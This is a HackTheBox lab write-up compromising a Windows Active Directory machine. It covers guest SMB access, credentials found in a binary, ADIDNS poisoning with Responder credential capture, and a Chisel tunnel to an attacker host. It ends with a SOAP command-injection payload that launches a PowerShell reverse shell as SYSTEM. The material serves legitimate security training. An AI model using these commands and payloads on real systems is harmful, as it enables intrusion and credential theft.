May 14, 2026

Overwatch HackTheBox Write-Up

Share
HackTheBox Overwatch machine walkthrough

SUMMARY

This write-up covers the Overwatch machine from HackTheBox. Initial enumeration revealed a Windows Active Directory environment with a standard set of domain services alongside a Microsoft SQL Server running on a non-standard port. SMB enumeration exposed a guest-accessible share named software$ containing a Windows executable. Static analysis of the binary with strings uncovered embedded plaintext credentials for the sqlsvc service account.

With those credentials, access to the MSSQL instance was established. Linked server enumeration inside the database revealed a reference to SQL07, a hostname that failed to resolve over DNS. Since any authenticated domain user can register DNS records in an Active Directory environment by default, an ADIDNS (Active Directory Integrated DNS) poisoning attack was used to inject a fake A record pointing SQL07 to the attacker’s machine. Coercing the linked server into making a UNC path request via xp_dirtree triggered an outbound NTLM authentication, capturing the hash of the sqlmgmt service account. After cracking the hash, WinRM access was established on the machine.

Internal enumeration revealed a SOAP web service hosted by HTTP.SYS on port 8000, running under NT AUTHORITY\SYSTEM. A Chisel reverse SOCKS tunnel was used to proxy traffic from the attack machine through the victim host, making the internal endpoint accessible. WSDL enumeration identified three service functions: StartProcess, StopProcess, and KillProcess with KillProcess accepting a free-form string input. Reviewing the source code of overwatch.exe, recovered earlier from the SMB share, confirmed that the parameter was concatenated unsanitized into a PowerShell command. A crafted SOAP request exploiting this command injection delivered a reverse shell running as NT AUTHORITY\SYSTEM, fully compromising the machine.


PATH TO FOLLOW

  1. Reconnaissance
  2. SMB Enumeration - Guest Access & RID Brute Force
  3. Software Share Discovery & Binary Analysis
  4. MSSQL Access via sqlsvc
  5. Linked Server Enumeration
  6. ADIDNS Poisoning & NTLM Hash Capture
  7. Hash Cracking & WinRM Access as sqlmgmt
  8. Internal Network Discovery
  9. HTTP.SYS Registration Analysis
  10. Chisel SOCKS Proxy & SOAP Endpoint Exposure
  11. WSDL & XSD Analysis
  12. Source Code Review - Command Injection Discovery
  13. SOAP Command Injection → NT AUTHORITY\SYSTEM

1. Reconnaissance

A full Nmap scan targeting the known open ports reveals a typical Windows Active Directory footprint: DNS, RPC, SMB, LDAP, Kerberos, RDP, and WinRM. What stands out immediately is port 6520, which hosts a Microsoft SQL Server 2022 instance non-standard placement compared to the default 1433.

sudo nmap -sCV -p53,135,139,389,445,464,593,636,3268,3269,3389,5985,6520,9389,49664,49669,61113,61114,61121,61140,64290 -oN targeted 10.129.244.81
53/tcp    open  domain        Simple DNS Plus
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6520/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
9389/tcp  open  mc-nmf        .NET Message Framing

Key takeaways: the domain is overwatch.htb, WinRM (5985) is open and will be useful for remote management, and the MSSQL server on 6520 is an interesting attack surface.


2. SMB Enumeration

The first thing to check against any Windows machine with SMB exposed is whether the guest account is active. A null or guest authentication attempt with netexec confirms it is.

netexec smb 10.129.244.81 -u guest -p ''

alt

With guest access confirmed, we can run an RID (Relative Identifier) brute force to enumerate domain accounts without needing valid credentials. RID cycling works by requesting security identifiers (SIDs) sequentially, each valid RID maps to a domain object like a user or group.

netexec smb 10.129.244.81 -u guest -p '' --rid-brute

alt

This reveals the usernames present in the domain, even though is something we won’t be abusing is always good enumeration.


3. Software Share Discovery & Binary Analysis

With guest access we can also enumerate SMB shares to look for anything interesting. A share named software$ is accessible and contains several files, including a Windows executable named overwatch.exe.

smbclient //10.129.244.81/software$ -U 'guest' -N

alt

We download the binary and run strings against it using the -e l flag, which targets little-endian Unicode strings, a common encoding for hardcoded strings in Windows .exe files. This is a quick and effective technique to spot embedded credentials or configuration values in compiled binaries without reverse engineering them fully.

get overwatch.exe
strings -e l overwatch.exe

alt

Credentials for the sqlsvc account are visible in plaintext inside the binary. We verify them immediately with netexec.

netexec smb 10.129.244.81 -u 'sqlsvc' -p '<PASSWORD>'

alt

Valid. Time to put them to use.


4. MSSQL Access via sqlsvc

MSSQL is running on port 6520. We connect using Impacket’s mssqlclient with Windows authentication, which authenticates against the domain rather than a local SQL account.

impacket-mssqlclient overwatch.htb/sqlsvc:<PASSWORD>@10.129.244.81 -p 6520 -windows-auth

alt

We now have an interactive SQL session on the server.


5. Linked Server Enumeration

Inside MSSQL, the enum_links command shows any linked servers configured essentially other SQL Server instances that this one is trusted to forward queries to. This is a common feature in enterprise environments for cross-database operations, but it’s also a significant lateral movement vector.

enum_links

A linked server named SQL07 is present. Attempting to execute a command through it via EXEC('..') AT [SQL07] results in a connection timeout rather than an error, which is a very telling sign the host SQL07 likely exists in the network but isn’t resolving in DNS.

EXEC('xp_dirtree ''\\attacker_ip\share'' ') AT [SQL07]

alt

The timeout means SQL Server is trying to reach SQL07 but can’t find it. If we can make SQL07 resolve to our own IP, any connection attempt from the linked server will hit us instead and MSSQL connections carry NTLM credentials.


6. ADIDNS Poisoning & NTLM Hash Capture

Active Directory Integrated DNS (ADIDNS) is a DNS service backed by the AD database. By default, any authenticated domain user can register new DNS A records. This is a feature, not a bug but it’s one that can be abused in exactly this scenario.

We use dnstool.py from the krbrelayx toolkit to add an A record for SQL07 pointing to our attack machine.

python3 dnstool.py -u 'overwatch.htb\sqlsvc' -p '<PASSWORD>' \
  --record 'SQL07' --action add --data <ATTACKER_IP> <DC_IP>

alt

With the DNS record in place, we start Responder to capture incoming NTLM authentication attempts, then trigger the linked server connection again from inside MSSQL.

sudo responder -I tun0 -wdv

# Back in mssqlclient:
EXEC('xp_dirtree ''\\SQL07\share'' ') AT [SQL07]

alt

alt

xp_dirtree is a stored procedure that lists directory contents via a UNC path. When given a UNC path to a non-existent share on a host that resolves to our IP, it causes the SQL service account to authenticate outbound over NTLM and Responder catches the hash.

However instead of getting a NTLM hash we got the user’s password in cleartext.


7. WinRM Access as sqlmgmt

With the password we verify WinRM access.

netexec winrm 10.129.244.81 -u 'sqlmgmt' -p '<PASSWORD>'

alt

We connect using Evil-WinRM and land a shell as sqlmgmt.

evil-winrm -i 10.129.244.81 -u sqlmgmt -p '<PASSWORD>'

8. Internal Network Discovery

With a shell on the machine, we enumerate listening TCP connections to look for internal services not exposed externally.

netstat -ano | findstr "TCP"

alt

Port 8000 is listening locally, owned by PID 4 which in Windows is the System process. This means the listener is tied to a kernel-mode component. We also notice the monitoring directory on disk containing overwatch.exe, the same binary we recovered from the SMB share. Trying to run it locally produces an error.

alt

The binary is failing to bind the port likely because port 8000 is already reserved by HTTP.SYS on behalf of the System process.


9. HTTP.SYS Registration Analysis

HTTP.SYS is a Windows kernel-mode driver that handles HTTP traffic before it reaches user-mode applications. Applications register URL namespaces with it instead of binding sockets directly. We query the current registrations to understand what’s running on port 8000.

netsh http show servicestate

alt

The output reveals a URL reservation for /MONITORSERVICE on port 8000. This is the service associated with overwatch.exe. Since it’s running as the System process via HTTP.SYS, any code execution through it will run as NT AUTHORITY\SYSTEM.


10. Chisel SOCKS Proxy & SOAP Endpoint Exposure

Port 8000 only listens on localhost, so we need to tunnel traffic from our attack machine through the victim to reach it. We use Chisel in reverse SOCKS proxy mode, the attack machine runs a server, and the victim connects back and creates a tunnel.

# On attack machine:
./chisel server --reverse -p 1234

# On victim (via WinRM shell):
./chisel client <ATTACKER_IP>:1234 R:socks

With the tunnel up, we proxy curl through it to reach the internal service.

curl -s --socks5 127.0.0.1:1080 http://localhost:8000/MonitorService | html2text

alt

The response hints at SOAP the endpoint mentions ?wsdl and ?simpleWsdl parameters. SOAP (Simple Object Access Protocol) is a web service protocol that uses XML messages, and WSDL (Web Services Description Language) is the document that describes what functions the service exposes and what parameters they accept.


11. WSDL & XSD Analysis

We pull the full WSDL to enumerate the available operations.

curl -s --socks5 127.0.0.1:1080 http://localhost:8000/MonitoringService?wsdl

alt

Three functions are exposed: StartProcess, StopProcess, and KillProcess. Checking the schema locations in the WSDL gives us the XSD endpoint URL.

alt

We query the XSD to inspect the type definitions specifically to understand what data type each function accepts.

curl -s --socks5 127.0.0.1:1080 http://localhost:8000/MonitoringService?xsd=xsd0

alt

Inside the sequence definition for KillProcess, there’s a parameter of type string. The other two functions work with integer process IDs, but KillProcess accepts a free-form string a name. That’s worth investigating more carefully.


12. Source Code Review

We still have the overwatch.exe binary from the SMB share, and now we know it implements these SOAP functions. Reviewing the decompiled or source-level code for KillProcess, the implementation becomes clear immediately:

string psCommand = "Stop-Process -Name" + processName + " -Force";

alt

The processName parameter received from the SOAP request is directly concatenated into a PowerShell command string with no sanitization or escaping. If we can inject a semicolon or other PowerShell control characters into processName, we can break out of the intended command and execute arbitrary code.


13. SOAP Command Injection

To send a SOAP request, we craft an XML envelope that matches the service’s expected format. For the initial test, we inject a ping command to confirm code execution before sending a reverse shell.

<!--killprocess.xml-->
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <KillProcess xmlns="http://tempuri.org/">
      <processName>nssm;ping -n 1 <ATTACKER_IP> #</processName>
    </KillProcess>
  </s:Body>
</s:Envelope>

The semicolon terminates the Stop-Process command, the ping runs as a new command, and the # comments out the trailing -Force flag. We send it with curl while listening with tcpdump to confirm the ICMP packet arrives.

curl -s -X POST http://localhost:8000/MonitorService -H "Content-Type: text/xml" -d @killprocess.xml -H "SOAPAction: \"http://tempuri.org/IMonitoringService/KillProcess\""

sudo tcpdump -i tun0 icmp

alt

alt

The ping reaches us. Code execution is confirmed. We now replace the ping with a PowerShell reverse shell payload, base64-encoded to avoid XML special character issues.

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <KillProcess xmlns="http://tempuri.org/">
      <processName>nssm;powershell -e <BASE64_REVSHELL_PAYLOAD> #</processName>
    </KillProcess>
  </s:Body>
</s:Envelope>
rlwrap nc -nlvp 443

curl -s -X POST http://localhost:8000/MonitorService -H "Content-Type: text/xml" -d @killprocess.xml -H "SOAPAction: \"http://tempuri.org/IMonitoringService/KillProcess\""

alt

The shell lands as NT AUTHORITY\SYSTEM. Since the SOAP service ran under HTTP.SYS which is a system-level driver, any process it spawns inherits SYSTEM privileges. Full machine compromise achieved.


References